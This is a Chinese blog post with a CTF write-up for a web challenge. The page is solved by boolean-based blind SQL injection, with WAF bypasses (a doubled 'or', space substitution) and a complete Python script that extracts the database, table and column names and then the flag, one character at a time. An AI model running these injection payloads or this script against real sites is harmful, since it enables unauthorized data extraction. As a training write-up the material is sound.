实验吧 认真一点!

解题网址:
http://ctf5.shiyanbar.com/web/earnest/index.php 

这题打开以后首先是一个输入框,尝试输入1,回显you are in;尝试输入2,回显you are not in。为了表达方便,下文中you are in为正确,you are not in为错误。

注入点很明显,但是如何注入是个问题。尝试1'发现错误,而1后面跟一串随机字符是正确的,说明还是有机可乘的。利用bp sql fuzz一下看看waf了什么

说明被过滤的有#%^,union和and

构造一下语句试一试 1'%0aor%0a'1'='1

发现错误,说明存在问题,但是刚才fuzz的时候已经验证过',%0a和=是没有被转义的,那剩下的只有or 可能出现问题,双写or试试


这回正确了!下一步就是爆数据库名,但由于网页中未给出暴露错误的显示位置,所以只能通过布尔盲注来进行数据库名的获取。

获取的思路是首先要得到数据库名的长度,然后利用REGEXP对逐个字符进行匹配,具体代码如下所示:

# -*- coding:utf8 -*-

import requests
import string
import time

def payload(rawstr): #对上传的字符串进行转换
    newstr=rawstr.replace(' ', chr(0x0c)).replace('or','oorr')
    return newstr

def foo():
    url = r'http://ctf5.shiyanbar.com/web/earnest/index.php'
    mys = requests.session()
    cset = string.digits+string.lowercase+'!_{}@~.'
    true_state = "You are in"

#爆数据库长度
    # len = 0
    # i = 1
    # model = "0' or length(database())=%d or 'chen'='"
    # while True:
    #     tmp = model%i
    #     myd = {'id': payload(tmp), }
    #     print i
    #     res = mys.post(url, data=myd).content
    #     if true_state in res:
    #         len = i
    #         break
    #     else:
    #         i += 1
    #         pass
    # print "[+]length(database()):%d"%i
#爆数据库名
    # lens = i
    # strs = ''
    # model = "0' or (select database() regexp '%s$') or 'chen'='"
    # for i in range(lens):
    #     for c in cset:
    #         tmp = model%(c+strs)
    #         myd = {'id': payload(tmp)}
    #         print c
    #         res = mys.post(url,data=myd).content
    #         if true_state in res:
    #             strs = c+strs
    #             print strs
    #             break
    # print "[+]database_name:%s", strs
#爆第一个表长度
    # lens = 0
    # i = 1
    # model="0' or length((select group_concat(table_name separator '@') from information_schema.tables where table_schema=database() limit 1))=%d or 'chen'='"
    # while True:
    #     tmp = model % (i)
    #     myd = {'id': payload(tmp), }
    #     res = mys.post(url, data=myd).content
    #     print i
    #     if true_state in res:
    #         lens = i
    #         break
    #     i += 1
    #     pass
    # lens = 10
    # print("[+]length(group_concat(table_name separator '@')): %d" % (lens))
#爆第一个表名
    # lens = 10
    # strs= ''
    # for i in range(lens):
    #     model="0' or ((select group_concat(table_name separator '@') from information_schema.tables where table_schema=database() limit 1)) regexp '%s$' or 'chen'='"
    #     for c in cset:
    #         tmp = model % (c+strs)
    #         myd = {'id': payload(tmp), }
    #         res = mys.post(url, data=myd).content
    #         if true_state in res:
    #             strs=c+strs
    #             print strs
    #             break
    #     pass
    # pass
    # print("[+]group_concat(table_name separator '@'): %s" % (strs))
#爆第一列的长度
    # table_names = 'fiag@users'
    # columns_lens = 0
    # i = 1
    # model="0' or length((select group_concat(column_name) from information_schema.columns where table_name='fiag' limit 1))=%d or 'chen'='"
    # while True:
    #     tmp = model % (i)
    #     myd = {'id': payload(tmp), }
    #     res = mys.post(url, data=myd).content
    #     print i
    #     if true_state in res:
    #         columns_lens = i
    #         break
    #     i += 1
    #     pass
    # print("[+]length(group_concat(table_name separator '@')): %d" % (columns_lens))
#爆第一列的列名
    # columns_lens = 5
    # str = ''
    # model="0' or ((select group_concat(column_name) from information_schema.columns where table_name='fiag' limit 1)) regexp '%s$' or 'chen'='"
    # for i in range(columns_lens):
    #     for c in cset:
    #         tmp = model % (c+str)
    #         myd = {'id': payload(tmp), }
    #         res = mys.post(url, data=myd).content
    #         if true_state in res:
    #             str = c + str
    #             print str
    #             break
    # print("[+](column_name separator '@')): %s" % (str))
#爆第一列的内容长度
    # flag_lens = 0
    # i = 1
    # model="0' or length((select fl$4g from fiag limit 1))=%d or 'chen'='"
    # while True:
    #     tmp = model % (i)
    #     myd = {'id': payload(tmp), }
    #     res = mys.post(url, data=myd).content
    #     print i
    #     if true_state in res:
    #         flag_lens = i
    #         break
    #     i += 1
    #     pass
    # print("[+]flag length): %d" % (flag_lens))
#爆第一列的内容
    flag_lens = 19
    str = ''
    model = "0' or (select(select fl$4g from fiag limit 1) regexp '%s$') or 'chen'='"
    for i in range(flag_lens):
        for c in cset:
            tmp = model % (c+str)
            myd = {'id': payload(tmp), }
            res = mys.post(url, data=myd).content

            if true_state in res:
                str = c + str
                print str
                break
    print("[+]flag is: %s" % (str))

if __name__=='__main__':
    foo()
    print "ok"

最后的结果,flag{haha~you.win!}

第一次接触布尔盲注,跟着pcat大神的write up一步步做下来的。中间的有些步骤思考了很久,字符转换时也有些疑惑。因为当时我是直接将语句输入到输入框中,然后执行会发现一直是错误,以为题目做了一些改动导致无法利用%0a代替空格,但是bp做fuzz的时候分明是可以的啊,后来尝试在bp的页面中输入就可以,所以未来测试的时候还是要在bp中进行。

参考网址:http://www.shiyanbar.com/ctf/writeup/4828

点赞
  1. 冬冬说道:
    Google Chrome Windows 10

    博主很用心了,十分受用,加个微信可好!

发表评论

[2;3Rer>